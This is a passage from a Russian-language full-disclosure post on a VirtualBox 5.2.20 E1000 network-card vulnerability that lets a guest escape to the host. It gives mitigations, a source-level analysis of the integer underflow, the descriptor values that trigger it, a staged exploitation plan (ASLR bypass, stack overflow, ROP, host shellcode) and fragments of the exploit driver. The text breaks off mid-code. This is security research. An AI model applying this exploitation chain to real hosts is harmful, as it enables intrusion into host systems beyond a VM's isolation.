[Из песочницы] Full disclosure: 0day-уязвимость побега из VirtualBox

image

Мне нравится VirtualBox, и он не имеет никакого отношения к причине, по которой я выкладываю информацию об уязвимости. Причина заключается в несогласии с текущими реалиями в информационной безопасности, точнее, в направлении security research и bug bounty.


  1. Считается нормальным ждать патча для уязвимостей по полгода, если только эти баги уже не в публичном доступе.
  2. В области bug bounty-программ считается нормальным:
    1. Ждать больше месяца, пока уязвимость не будет проверена и не будет озвучено решение о её приобретении.
    2. На ходу менять решение о том, будет ли программа покупать баги для данного софта. Сегодня вы узнали, что да, купят, а через неделю приходите с багами и эксплоитами и получаете ответ, что нет, не купят.
    3. Не иметь чёткого списка приложений, за баги в котором будут платить. Да, удобно организаторам bug bounty, нет, неудобно исследователям.
    4. Не иметь чётко заданных верхних и нижних границ цен за уязвимости. Факторов, влияющих на цену, чрезвычайно много, но исследователи должны видеть, на что стоит тратить своё время, а что не стоит и дня работы.
  3. Мания величия и маркетинговая чушь: давать названия уязвимостям и создавать для них сайты; проводить тысячу конференций в год; преувеличивать важность своей работы; считать себя «спасителем мира». Спуститесь на землю, Ваше высочество.

Первые два пункта окончательно вымотали меня, поэтому мой ход — full disclosure.


Общая информация

Уязвимое ПО: VirtualBox 5.2.20 и более ранние версии.
Хостовая ОС: любая, баг находится в общей кодовой базе.
Гостевая ОС: любая.
Конфигурация ВМ: по умолчанию (для эксплуатации нужно только, чтобы сетевой картой была Intel PRO/1000 MT Desktop (82540EM), а режимом работы был NAT).


Как защититься

Пока не вышла пропатченная версия VirtualBox, измените в настройках своих виртуальных машин сетевую карту на PCnet (любую из двух) или на Paravirtualized Network. Если возможности сделать это нет, то измените для адаптера Intel режим работы с NAT на любой другой. Первый вариант надёжнее.


Введение

При создании новой виртуальной машины сетевым адаптером по умолчанию является Intel PRO/1000 MT Desktop (82540EM), настроенный на работу в режиме NAT. Для краткости мы будем называть его E1000.

Код виртуального устройства E1000 содержит уязвимость, которая позволяет атакующему с правами root/administrator в гостевой ОС осуществить побег в хостовую ОС и выполнить код в ring 3. Затем атакующий может воспользоваться уже известными техниками повышения привилегий до ring 0 с помощью драйвера VirtualBox /dev/vboxdrv.


Анализ уязвимости


Общие сведения о E1000

Для отправки сетевых пакетов гость делает всё то же самое, что и обычный компьютер: настраивает сетевой адаптер и отдаёт ему пакеты, которые состоят из фреймов канального уровня и прочих более высокоуровневых заголовков. Пакеты передаются адаптеру не сами по себе, а обёрнутыми в Tx-дескрипторы (Transmit Descriptor). Эти структуры данных, описанные в спецификации сетевой карты (317453006EN.PDF, Revision 4.0), хранят различную метаинформацию, такую как размер пакета или тег VLAN, управляют TCP/IP-сегментацией и т.д.

Спецификация 82540EM предусматривает три типа Tx-дескрипторов: legacy, context, data. Legacy-дескрипторы были актуальны, видимо, в прошлом. Остальные два используются в связке. Для нас важно только то, что context-дескрипторы задают максимальный размер пакета и включают/отключают TCP/IP-сегментацию, а в data-дескрипторы помещаются адреса пакетов в физической памяти и задаётся их размер. Размер пакета в data-дескрипторе не может быть больше, чем задано в context-дескрипторе. Context-дескрипторы передаются сетевой карте, как правило, до data-дескрипторов.

Чтобы передать Tx-дескрипторы сетевому адаптеру, они записываются в Tx-кольцо (Transmit Descriptor Ring). Это кольцевой буфер, располагающийся в физической памяти по заранее заданному адресу. Когда все требуемые дескрипторы записаны в кольцо, гость обновляет регистр TDT (Transmit Descriptor Tail) в MMIO адаптера, что сигнализирует хосту о появлении новых дескрипторов, которые нужно обработать.


Исходные данные

У нас имеется следующий массив Tx-дескрипторов:

[context_1, data_2, data_3, context_4, data_5]

Допустим, что в них содержится следующая информация (названия полей специально сделаны человекочитаемыми, но они соответствуют полям дескрипторов из спецификации 82540EM):

context_1.header_length = 0
context_1.maximum_segment_size = 0x3010
context_1.tcp_segmentation_enabled = true

data_2.data_length = 0x10
data_2.end_of_packet = false
data_2.tcp_segmentation_enabled = true

data_3.data_length = 0
data_3.end_of_packet = true
data_3.tcp_segmentation_enabled = true

context_4.header_length = 0
context_4.maximum_segment_size = 0xF
context_4.tcp_segmentation_enabled = true

data_5.data_length = 0x4188
data_5.end_of_packet = true
data_5.tcp_segmentation_enabled = true

Вскоре мы разберёмся, почему дескрипторы должны быть именно такими для эксплуатации ошибки.


Суть уязвимости


Обработка [context_1, data_2, data_3]

Представим, что гость записал в точной последовательности приведённые выше дескрипторы в Tx-кольцо и обновил регистр TDT. Теперь процесс VirtualBox на хосте выполнит функцию e1kXmitPending, располагающуюся в файле src/VBox/Devices/Network/DevE1000.cpp (большинство комментариев здесь и далее удалены в угоду читаемости):

static int e1kXmitPending(PE1KSTATE pThis, bool fOnWorkerThread)
{
...
        while (!pThis->fLocked && e1kTxDLazyLoad(pThis))
        {
            while (e1kLocateTxPacket(pThis))
            {
                fIncomplete = false;
                rc = e1kXmitAllocBuf(pThis, pThis->fGSO);
                if (RT_FAILURE(rc))
                    goto out;
                rc = e1kXmitPacket(pThis, fOnWorkerThread);
                if (RT_FAILURE(rc))
                    goto out;
            }

Функция e1kTxDLazyLoad считает все 5 Tx-дескрипторов из Tx-кольца. Затем e1kLocateTxPacket будет вызвана в первый раз. Эта функция обходит все дескрипторы и подготавливает состояние для дальнейшей работы, но основную работу по обработке дескрипторов не выполняет. В нашем случае первый вызов e1kLocateTxPacket обработает дескрипторы context_1, data_2, data_3. Два оставшихся дескриптора, context_4 и data_5, будут обработаны на следующей итерации цикла while (мы рассмотрим вторую итерацию в следующем разделе). Это разбиение массива дескрипторов надвое ведёт к важным последствиям, поэтому посмотрим, почему оно происходит.

Функция e1kLocateTxPacket выглядит так:

static bool e1kLocateTxPacket(PE1KSTATE pThis)
{
...
    for (int i = pThis->iTxDCurrent; i < pThis->nTxDFetched; ++i)
    {
        E1KTXDESC *pDesc = &pThis->aTxDescriptors[i];
        switch (e1kGetDescType(pDesc))
        {
            case E1K_DTYP_CONTEXT:
                e1kUpdateTxContext(pThis, pDesc);
                continue;
            case E1K_DTYP_LEGACY:
                ...
                break;
            case E1K_DTYP_DATA:
                if (!pDesc->data.u64BufAddr || !pDesc->data.cmd.u20DTALEN)
                    break;
                ...
                break;
            default:
                AssertMsgFailed(("Impossible descriptor type!"));
        }

Первый дескриптор (context_1) — E1K_DTYP_CONTEXT, поэтому вызывается функция e1kUpdateTxContext. Эта функция обновляет контекст TCP-сегментации, если в дескрипторе была запрошена сегментация. Это истинно для нашего дескриптора context_1 (см. предыдущий раздел), поэтому контекст TCP-сегментации будет обновлён (суть «обновления контекста TCP-сегментации» нам неинтересна, поэтому будем использовать этот термин просто для того, чтобы ссылаться на данный участок кода).

Второй дескриптор (data_2) — E1K_DTYP_DATA, для него выполняются некоторые другие действия, не имеющие для нас значения.

Третий дескриптор (data_3) — E1K_DTYP_DATA, но поскольку data_3.data_length == 0 (pDesc→data.cmd.u20DTALEN в коде выше), никаких действий не выполняется.
В данный момент времени все три дескриптора первоначально обработаны, и у нас есть ещё два необработанных дескриптора. Теперь фокус: в вышеприведённом коде после оператора switch идёт проверка, установлен ли флаг end_of_packet в дескрипторе. Это истинно для дескриптора data_3 (data_3.end_of_packet == true), поэтому код выполняет некоторые действия и выходит из функции:

        if (pDesc->legacy.cmd.fEOP)
        {
            ...
            return true;
        }

Если бы флаг data_3.end_of_packet не был установлен, тогда оставшиеся два дескриптора были бы также первоначально обработаны, и это предотвратило бы уязвимость. Ниже вы увидите, почему этот выход из функции ещё до обхода всех дескрипторов ведёт к багу.

Итак, при возврате из e1kLocateTxPacket мы имеем следующие дескрипторы, готовые к тому, чтобы извлечь из них сетевые пакеты и отправить в сеть: context_1, data_2, data_3. Теперь во внутреннем цикле while функции e1kXmitPending вызывается e1kXmitPacket. Эта функция снова обходит все дескрипторы (5 в нашем случае), чтобы наконец-таки обработать их:

static int e1kXmitPacket(PE1KSTATE pThis, bool fOnWorkerThread)
{
...
    while (pThis->iTxDCurrent < pThis->nTxDFetched)
    {
        E1KTXDESC *pDesc = &pThis->aTxDescriptors[pThis->iTxDCurrent];
        ...
        rc = e1kXmitDesc(pThis, pDesc, e1kDescAddr(TDBAH, TDBAL, TDH), fOnWorkerThread);
        ...
        if (e1kGetDescType(pDesc) != E1K_DTYP_CONTEXT && pDesc->legacy.cmd.fEOP)
            break;
    }

Для каждого дескриптора вызывается функция e1kXmitDesc:

static int e1kXmitDesc(PE1KSTATE pThis, E1KTXDESC *pDesc, RTGCPHYS addr,
                       bool fOnWorkerThread)
{
...
    switch (e1kGetDescType(pDesc))
    {
        case E1K_DTYP_CONTEXT:
            ...
            break;
        case E1K_DTYP_DATA:
        {
            ...
            if (pDesc->data.cmd.u20DTALEN == 0 || pDesc->data.u64BufAddr == 0)
            {
                E1kLog2(("% Empty data descriptor, skipped.\n", pThis->szPrf));
            }
            else
            {
                if (e1kXmitIsGsoBuf(pThis->CTX_SUFF(pTxSg)))
                {
                    ...
                }
                else if (!pDesc->data.cmd.fTSE)
                {
                    ...
                }
                else
                {
                    STAM_COUNTER_INC(&pThis->StatTxPathFallback);
                    rc = e1kFallbackAddToFrame(pThis, pDesc, fOnWorkerThread);
                }
            }
            ...

Первый дескриптор, который передаётся в e1kXmitDesc, это context_1. Функция не делает ничего для context-дескрипторов.

Второй дескриптор это data_2. Поскольку для всех data-дескрипторов у нас установлен флаг tcp_segmentation_enable == true (pDesc→data.cmd.fTSE в коде выше), мы вызываем функцию e1kFallbackAddToFrame, где позже произойдёт переполнение целочисленной переменной при обработке дескриптора data_5.

static int e1kFallbackAddToFrame(PE1KSTATE pThis, E1KTXDESC *pDesc, bool fOnWorkerThread)
{
    ...
    uint16_t u16MaxPktLen = pThis->contextTSE.dw3.u8HDRLEN + pThis->contextTSE.dw3.u16MSS;

    /*
     * Carve out segments.
     */
    int rc = VINF_SUCCESS;
    do
    {
        /* Calculate how many bytes we have left in this TCP segment */
        uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;
        if (cb > pDesc->data.cmd.u20DTALEN)
        {
            /* This descriptor fits completely into current segment */
            cb = pDesc->data.cmd.u20DTALEN;
            rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread);
        }
        else
        {
            ...
        }

        pDesc->data.u64BufAddr    += cb;
        pDesc->data.cmd.u20DTALEN -= cb;
    } while (pDesc->data.cmd.u20DTALEN > 0 && RT_SUCCESS(rc));

    if (pDesc->data.cmd.fEOP)
    {
        ...
        pThis->u16TxPktLen = 0;
        ...
    }

    return VINF_SUCCESS;
}

Самые важные для нас переменные здесь: u16MaxPktLen, pThis→u16TxPktLen, pDesc→data.cmd.u20DTALEN.

Нарисуем таблицу, где будут указаны значения переменных до и после выполнения функции e1kFallbackAddToFrame для двух data-дескрипторов.


Tx-дескриптор До/После u16MaxPktLen pThis→u16TxPktLen pDesc→data.cmd.u20DTALEN
data_2 До 0×3010 0 0×10
- После 0×3010 0×10 0
data_3 До 0×3010 0×10 0
- После 0×3010 0×10 0

Для нас здесь важно только то, что когда data_3 обработан, pThis→u16TxPktLen равен 0×10.
А теперь самый важный момент. Взгляните ещё раз на конец листинга для функции e1kXmitPacket:

        if (e1kGetDescType(pDesc) != E1K_DTYP_CONTEXT && pDesc->legacy.cmd.fEOP)
            break;

Поскольку тип дескриптора data_3 не равен E1K_DTYP_CONTEXT, и поскольку data_3.end_of_packet == true, мы делаем break из цикла несмотря на тот факт, что нам нужно ещё обработать context_4 и data_5. Мы снова не закончили работу с дескрипторами, как и в случае с первоначальной обработкой. Почему это важно? Чтобы понять суть уязвимости, нужно понять, что все context-дескрипторы обрабатываются до data-дескрипторов. Context-дескрипторы обрабатываются в процессе обновления контекста TCP-сегментации в функции e1kLocateTxPacket. Data-дескрипторы обрабатываются позднее, в функции e1kXmitPacket. Разработчики сделали так для того, чтобы запретить изменение переменной u16MaxPktLen, которая контроллируется context-дескрипторами, после того как несколько байт сетевых пакетов были обработаны. Если бы мы могли в любой момент времени изменять context-дескрипторы, то легко могли бы добиться целочисленного переполнения в e1kFallbackAddToFrame (размер обработанных данных лежит в pThis→u16TxPktLen):

uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;

Но мы можем обойти эту защиту от переполнения. Вспомните, что ещё в e1kLocateTxPacket мы заставили функцию выполнить возврат из-за того, что data_3.end_of_packet == true. Из-за этого у нас остались ещё два дескриптора (context_4 и data_5), ожидающих первоначальной и финальной обработки несмотря на то, что мы уже обработали несколько байт (pThis→u16TxPktLen равен 0×10, а не нулю).

Итак, у нас появилась возможность изменить u16MaxPktLen произвольным образом с помощью context_4.maximum_segment_size, чтобы добиться целочисленного переполнения.


Обработка [context_4, data_5]

Мы полностью обработали первые три дескриптора и возвращаемся в начало внутреннего цикла while функции e1kXmitPending:

            while (e1kLocateTxPacket(pThis))
            {
                fIncomplete = false;
                rc = e1kXmitAllocBuf(pThis, pThis->fGSO);
                if (RT_FAILURE(rc))
                    goto out;
                rc = e1kXmitPacket(pThis, fOnWorkerThread);
                if (RT_FAILURE(rc))
                    goto out;
            }

Здесь мы вызываем e1kLocateTxPacket, чтобы выполнить первоначальную обработку context_4 и data_5. Как было сказано ранее, мы можем установить значение context_4.maximum_segment_size произвольным образом, в т.ч. таким, что оно будет меньше размера данных, которые мы уже обработали. Вспомните наши исходные данные:

context_4.header_length = 0
context_4.maximum_segment_size = 0xF
context_4.tcp_segmentation_enabled = true

data_5.data_length = 0x4188
data_5.end_of_packet = true
data_5.tcp_segmentation_enabled = true

После выполнения e1kLocateTxPacket мы имеем максимальный размер сетевого пакета равным 0xF, в то время как размер уже обработанных данных равен 0×10.

Наконец, в процессе обработки data_5 вызывается функция e1kFallbackAddToFrame, где мы имеем следующие значения переменных:


Tx-дескриптор До/После u16MaxPktLen pThis→u16TxPktLen pDesc→data.cmd.u20DTALEN
data_5 До 0xF 0×10 0×4188
- После - - -

Как следствие, возникает целочисленное переполнение:

uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;
=>
uint32_t cb = 0xF - 0x10 = 0xFFFFFFFF;

Это позволяет нам успешно выполнить следующую проверку, т.к. 0xFFFFFFFF > 0×4188:

        if (cb > pDesc->data.cmd.u20DTALEN)
        {
            cb = pDesc->data.cmd.u20DTALEN;
            rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread);
        }

Теперь будет вызвана функция e1kFallbackAddSegment с размером (cb), равным 0×4188. Без уязвимости невозможно вызвать эту функцию с размером, большим 0×4000, т.к. в процессе обновления контекста TCP-сегментации выполняется проверка, что максимальный размер сегмента меньше либо равен 0×4000:

DECLINLINE(void) e1kUpdateTxContext(PE1KSTATE pThis, E1KTXDESC *pDesc)
{
...
        uint32_t cbMaxSegmentSize = pThis->contextTSE.dw3.u16MSS + pThis->contextTSE.dw3.u8HDRLEN + 4; /*VTAG*/
        if (RT_UNLIKELY(cbMaxSegmentSize > E1K_MAX_TX_PKT_SIZE))
        {
            pThis->contextTSE.dw3.u16MSS = E1K_MAX_TX_PKT_SIZE - pThis->contextTSE.dw3.u8HDRLEN - 4; /*VTAG*/
            ...
        }


Переполнение буфера

Каким образом мы можем проэксплуатировать нашу возможность вызывать функцию e1kFallbackAddSegment с произвольным размером? Я нашёл как минимум две возможности. Во-первых, те данные, которые передаёт гость, копируются в буфер на куче:

static int e1kFallbackAddSegment(PE1KSTATE pThis, RTGCPHYS PhysAddr, uint16_t u16Len, bool fSend, bool fOnWorkerThread)
{
    ...
    PDMDevHlpPhysRead(pThis->CTX_SUFF(pDevIns), PhysAddr,
                      pThis->aTxPacketFallback + pThis->u16TxPktLen, u16Len);

Здесь pThis→aTxPacketFallback это буфер размером 0×3FA0, а u16Len равен 0×4188 — очевидное переполнение кучи, которое может привести, допустим, к перезаписи указателей на функции, объекты или чего угодно ещё.

Во-вторых, если мы посмотрим поглубже, то найдём, что e1kFallbackAddSegment вызывает функцию e1kTransmitFrame, которая при определённой конфигурации регистров сетевого адаптера вызывает e1kHandleRxPacket. Эта функция выделяет на стеке буфер размером 0×4000 и копирует в него данные с заданным размером без каких-либо проверок, т.к. они были выполнены ранее:

static int e1kHandleRxPacket(PE1KSTATE pThis, const void *pvBuf, size_t cb, E1KRXDST status)
{
#if defined(IN_RING3)
    uint8_t   rxPacket[E1K_MAX_RX_PKT_SIZE];
    ...
    if (status.fVP)
    {
        ...
    }
    else
        memcpy(rxPacket, pvBuf, cb);

Как видите, мы преобразовали уязвимость целочисленного переполнения в классическую уязвимость переполнения стекового буфера. Оба приведённых выше примера, heap buffer overflow и stack buffer overflow, задействованы в эксплоите.


Эксплоит

Эксплоитом является модуль ядра Linux, который загружается в гостевой ОС. Для Windows потребуется драйвер, который будет отличаться разве что обёрткой для инициализации да другими вызовами ядерного API.

Загрузка драйвера в обеих операционных системах требует повышенных привилегий. Это нормальное явление и не считается непреодолимой преградой. Для примера можно взглянуть на соревнование Pwn2Own, где исследователи применяют цепочки эксплоитов: в гостевой ОС эксплуатируется браузер, открывший «вредоносный» сайт, делается побег из песочницы браузера для полного доступа к контексту ring 3, эксплуатируется уязвимость в операционной системе для получения доступа к ring 0, откуда открываются все возможности для атаки на гипервизор из гостевой ОС.

Конечно, самыми мощными уязвимостями в гипервизорах являются те, которые эксплуатируются из ring 3 гостя. В VirtualBox тоже есть код, который достижим без root-привилегий, и он ещё слабо изучен.

Эксплоит стабилен на 100%. Это значит, что он либо работает всегда, либо не работает вообще из-за несоответствующих бинарников или чего-то более проблемного, мной не предусмотренного. На гостевых Ubuntu 16.04 и 18.04×86_64 с конфигурацией по умолчанию он работает.


Алгоритм эксплуатации


  1. Атакующий выгружает модуль ядра e1000.ko, работающий по умолчанию в гостевых системах Linux, и загружает свой драйвер.
  2. Драйвер инициализирует сетевой адаптер E1000 в соответствии со спецификацией. Инициализируется только transmit-часть, т.к. receive-часть не используется.
  3. Шаг 1: information leak.
    1. Отключается loopback-режим сетевого адаптера, благодаря чему код, содержащий stack buffer overflow, будет недостижим.
    2. С помощью основной уязвимости делается integer underflow, ведущий к heap buffer overflow, но не stack buffer overflow.
    3. Heap buffer overflow приводит к тому, что при взаимодействии с EEPROM сетевого адаптера можно записать любые два байта относительно буфера на куче в пределах 128 килобайт. Тем самым атакующий получает write-примитив.
    4. С помощью write-примитива восемь раз делается запись байта в структуру данных на куче, относящуюся к устройству ACPI (Advanced Configuration and Power Interface). Байт записывается в переменную, которая используется при обращении к ACPI как индекс в массиве на куче, из которого будет считан один байт. Поскольку размер массива меньше числа, помещающегося в байт (255), атакующий получает возможность читать за пределами массива, т.е. получает read-примитив.
    5. С помощью read-примитива атакующий делает 8 запросов к ACPI и получает 8 байт с кучи. Эти 8 байт — указатель относительно динамической библиотеки VBoxDD.so.
    6. Драйвер вычитает константу из указателя и получает базовый адрес библиотеки VBoxDD.so.
  4. Шаг 2: stack buffer overflow.
    1. Включается loopback-режим сетевого адаптера, благодаря чему будет достижим код, содержащий stack buffer overflow.
    2. С помощью основной уязвимости делается integer underflow, ведущий к heap buffer overflow и stack buffer overflow. Перезаписывается сохранённый на стеке адрес возврата (RIP/EIP). Атакующий получает контроль над исполнением.
    3. Выполняется цепочка ROP-гаджетов, которая передаёт управление на загрузчик шеллкода.
  5. Шаг 3: shellcode.
    1. Загрузчик шеллкода копирует рядом с собой основной шеллкод с буфера на стеке. Управление передаётся на шеллкод.
    2. Шеллкод делает системные вызовы fork и execve для создания произвольного процесса на стороне хоста.
    3. Родительский процесс выполняет заключительные действия для того, чтобы виртуальная машина не скрашилась и продолжила нормальную работу.
  6. Атакующий выгружает драйвер и подгружает e1000.ko обратно, чтобы гостевая ОС могла продолжить работать с сетью.


Инициализация

Драйвер отображает участок физической памяти, соответствующий MMIO сетевой карты, на виртуальную память. Физический адрес и размер задаётся гипервизором.

void* map_mmio(void) {
    off_t pa = 0xF0000000;
    size_t len = 0x20000;

    void* va = ioremap(pa, len);
    if (!va) {
        printk(KERN_INFO PFX"ioremap failed to map MMIO\n");
        return NULL;
    }

    return va;
}

Затем выполняется конфигурация регистров общего назначения E1000, выделяется память под Tx-кольцо и конфигурируются transmit-регистры.

void e1000_init(void* mmio) {
    // Configure general purpose registers

    configure_CTRL(mmio);

    // Configure TX registers

    g_tx_ring = kmalloc(MAX_TX_RING_SIZE, GFP_KERNEL);
    if (!g_tx_ring) {
        printk(KERN_INFO PFX"Failed to allocate TX Ring\n");
        return;
    }

    configure_TDBAL(mmio);
    configure_TDBAH(mmio);
    configure_TDLEN(mmio);
    configure_TCTL(mmio);
}


Обход ASLR


Write-примитив

С начала разработки эксплоита я решил отказаться от использования примитивов, найденных в подсистемах VirtualBox, отключённых по умолчанию. В первую очередь имеется в виду служба Chromium (не браузер), отвечающая за 3D-ускорение, в которой за последний год исследователи нашли более 40 уязвимостей. Information leak — это утечка информации, как правило указателя относительно какой-нибудь динамической библиотеки, по которому можно получить её базовый адрес и обойти защиту ASLR.

Встала задача: найти уязвимость класса information leak в компонентах, работающих по умолчанию. Появилась очевидная мысль, что раз наша основная уязвимость позволяет переполнить кучу, т.е. относится к классу heap buffer overflow, мы контролируем всё, что находится за пределами этого буфера. Дальше мы увидим, что не понадобились никакие дополнительные уязвимости: наш integer underflow оказался столь мощным, что дал read- и write-примитивы, а также information leak и stack buffer overflow.

Посмотрим, что именно переполняется на куче.

/**
 * Device state structure.
 */
struct E1kState_st
{
...
    uint8_t     aTxPacketFallback[E1K_MAX_TX_PKT_SIZE];
...
    E1kEEPROM   eeprom;
...
}

Здесь aTxPacketFallback — это буфер размером 0×3FA0, который будет переполнен данными, считываемыми из data-дескриптора. Ища, какие интересные поля за этим буфером можно изменить, на глаза попалась структура E1kEEPROM. Внутри неё есть другая структура с такими полями (файл src/VBox/Devices/Network/DevE1000.cpp):

/**
 * 93C46-compatible EEPROM device emulation.
 */
struct EEPROM93C46
{
...
    bool m_fWriteEnabled;
    uint8_t Alignment1;
    uint16_t m_u16Word;
    uint16_t m_u16Mask;
    uint16_t m_u16Addr;
    uint32_t m_u32InternalWires;
...
}

Что нам может дать их модификация? В коде E1000 реализована работа с EEPROM — постоянной памятью сетевого адаптера. Гостевая ОС может получить к ней доступ, используя определённые MMIO-регистры E1000. Работа с EEPROM реализована в виде конечного автомата, который имеет несколько состояний и выполняет четыре действия. Нас будет интересовать только действие «запись в память». Вот как оно выглядит (файл src/VBox/Devices/Network/DevEEPROM.cpp):

EEPROM93C46::State EEPROM93C46::opWrite()
{
    storeWord(m_u16Addr, m_u16Word);
    return WAITING_CS_FALL;
}

void EEPROM93C46::storeWord(uint32_t u32Addr, uint16_t u16Value)
{
    if (m_fWriteEnabled) {
        E1kLog(("EEPROM: Stored word %04x at %08x\n", u16Value, u32Addr));
        m_au16Data[u32Addr] = u16Value;
    }
    m_u16Mask = DATA_MSB;
}

Здесь m_u16Addr, m_u16Word и m_fWriteEnabled — это значения полей в структуре EEPROM93C46, которую мы полностью контролируем. Поэтому можно задать их таким образом, что при выполнении инструкции

m_au16Data[u32Addr] = u16Value;

два байта будут записан по произвольному 16-битовому смещению от массива m_au16Data, который располагается в той же структуре. Мы нашли write-примитив.


Read-примитив

Следующая задача заключалась в поиске структур данных на куче, в которые был бы смысл записывать произвольные данные, не забывая, что основная цель — слить указатель относительно какого-нибудь модуля, чтобы получить его базовый адрес. К счастью, прибегать к нестабильному заполнению кучи (heap spray) не пришлось, т.к. оказалось, что основные структуры данных для виртуальных устройств выделяются из внутренней кучи гипервизора таким образом, что при каждом запуске VirtualBox расстояние между этими блоками кучи одинаковое несмотря на то, что виртуальные адреса блоков при каждом запуске, конечно же, различаются благодаря ASLR.

Говоря конкретно, при запуске VirtualBox подсистема PDM (Pluggable Device and Driver Manager) для каждого устройства создаёт объект PDMDEVINS, который выделяется из кучи гипервизора.

int pdmR3DevInit(PVM pVM)
{
...
        PPDMDEVINS pDevIns;
        if (paDevs[i].pDev->pReg->fFlags & (PDM_DEVREG_FLAGS_RC | PDM_DEVREG_FLAGS_R0))
            rc = MMR3HyperAllocOnceNoRel(pVM, cb, 0, MM_TAG_PDM_DEVICE, (void **)&pDevIns);
        else
            rc = MMR3HeapAllocZEx(pVM, MM_TAG_PDM_DEVICE, cb, (void **)&pDevIns);
...

Я прогнал этот участок кода под отладчиком GDB с помощью скрипта и получил примерно такой вывод:

[trace-device-constructors] Constructing a device #0x0:
[trace-device-constructors] Name: "pcarch", '\000' 
[trace-device-constructors] Description: 0x7fc44d6f125a "PC Architecture Device"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d57517b 
[trace-device-constructors] Instance: 0x7fc45486c1b0
[trace-device-constructors] Data size: 0x8

[trace-device-constructors] Constructing a device #0x1:
[trace-device-constructors] Name: "pcbios", '\000' 
[trace-device-constructors] Description: 0x7fc44d6ef37b "PC BIOS Device"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d56bd3b 
[trace-device-constructors] Instance: 0x7fc45486c720
[trace-device-constructors] Data size: 0x11e8

...

[trace-device-constructors] Constructing a device #0xe:
[trace-device-constructors] Name: "e1000", '\000' 
[trace-device-constructors] Description: 0x7fc44d70c6d0 "Intel PRO/1000 MT Desktop Ethernet.\n"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d622969 
[trace-device-constructors] Instance: 0x7fc470083400
[trace-device-constructors] Data size: 0x53a0

[trace-device-constructors] Constructing a device #0xf:
[trace-device-constructors] Name: "ichac97", '\000' 
[trace-device-constructors] Description: 0x7fc44d716ac0 "ICH AC'97 Audio Controller"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d66a90f 
[trace-device-constructors] Instance: 0x7fc470088b00
[trace-device-constructors] Data size: 0x1848

[trace-device-constructors] Constructing a device #0x10:
[trace-device-constructors] Name: "usb-ohci", '\000' 
[trace-device-constructors] Description: 0x7fc44d707025 "OHCI USB controller.\n"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d5ea841 
[trace-device-constructors] Instance: 0x7fc47008a4e0
[trace-device-constructors] Data size: 0x1728

[trace-device-constructors] Constructing a device #0x11:
[trace-device-constructors] Name: "acpi", '\000' 
[trace-device-constructors] Description: 0x7fc44d6eced8 "Advanced Configuration and Power Interface"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d563431 
[trace-device-constructors] Instance: 0x7fc47008be70
[trace-device-constructors] Data size: 0x1570

[trace-device-constructors] Constructing a device #0x12:
[trace-device-constructors] Name: "GIMDev", '\000' 
[trace-device-constructors] Description: 0x7fc44d6f17fa "VirtualBox GIM Device"
[trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d575cde 
[trace-device-constructors] Instance: 0x7fc47008dba0
[trace-device-constructors] Data size: 0x90

[trace-device-constructors] Instances:
[trace-device-constructors] #0x0 Address: 0x7fc45486c1b0
[trace-device-constructors] #0x1 Address 0x7fc45486c720 differs from previous by 0x570
[trace-device-constructors] #0x2 Address 0x7fc4700685f0 differs from previous by 0x1b7fbed0
[trace-device-constructors] #0x3 Address 0x7fc4700696d0 differs from previous by 0x10e0
[trace-device-constructors] #0x4 Address 0x7fc47006a0d0 differs from previous by 0xa00
[trace-device-constructors] #0x5 Address 0x7fc47006a450 differs from previous by 0x380
[trace-device-constructors] #0x6 Address 0x7fc47006a920 differs from previous by 0x4d0
[trace-device-constructors] #0x7 Address 0x7fc47006ad50 differs from previous by 0x430
[trace-device-constructors] #0x8 Address 0x7fc47006b240 differs from previous by 0x4f0
[trace-device-constructors] #0x9 Address 0x7fc4548ec9a0 differs from previous by 0x-1b77e8a0
[trace-device-constructors] #0xa Address 0x7fc470075f90 differs from previous by 0x1b7895f0
[trace-device-constructors] #0xb Address 0x7fc488022000 differs from previous by 0x17fac070
[trace-device-constructors] #0xc Address 0x7fc47007cf80 differs from previous by 0x-17fa5080
[trace-device-constructors] #0xd Address 0x7fc4700820f0 differs from previous by 0x5170
[trace-device-constructors] #0xe Address 0x7fc470083400 differs from previous by 0x1310
[trace-device-constructors] #0xf Address 0x7fc470088b00 differs from previous by 0x5700
[trace-device-constructors] #0x10 Address 0x7fc47008a4e0 differs from previous by 0x19e0
[trace-device-constructors] #0x11 Address 0x7fc47008be70 differs from previous by 0x1990
[trace-device-constructors] #0x12 Address 0x7fc47008dba0 differs from previous by 0x1d30

Нас интересует устройство под индексом 0xE, соответствующее E1000. Во втором списке видно, что следующее за E1000 устройство находится на расстоянии 0×5700 байт, следующее — ещё 0×19E0 байт и т.д. И как было сказано выше, эти расстояния всегда одинаковые, что открывает перед нами море возможностей эксплуатации.

После E1000 мы имеем следующие устройства в порядке возрастания адресов: ICH IC'97, OHCI, ACPI, VirtualBox GIM. Изучая структуры данных, соответствующие этим устройствам, я нашёл прекрасную возможность применить наш write-примитив.

При запуске виртуальной машины создаётся устройство ACPI (файл src/VBox/Devices/PC/DevACPI.cpp):

typedef struct ACPIState
{
...
    uint8_t             au8SMBusBlkDat[32];
    uint8_t             u8SMBusBlkIdx;
    uint32_t            uPmTimeOld;
    uint32_t            uPmTimeA;
    uint32_t            uPmTimeB;
    uint32_t            Alignment5;
} ACPIState;

Для него регистрируется обработчик портов ввода/вывода в диапазоне 0×4100–0×410F. В случае порта 0×4107 имеем такой код:

PDMBOTHCBDECL(int) acpiR3SMBusRead(PPDMDEVINS pDevIns, void *pvUser, RTIOPORT Port, uint32_t *pu32, unsigned cb)
{
    RT_NOREF1(pDevIns);
    ACPIState *pThis = (ACPIState *)pvUser;
...
    switch (off)
    {
...
        case SMBBLKDAT_OFF:
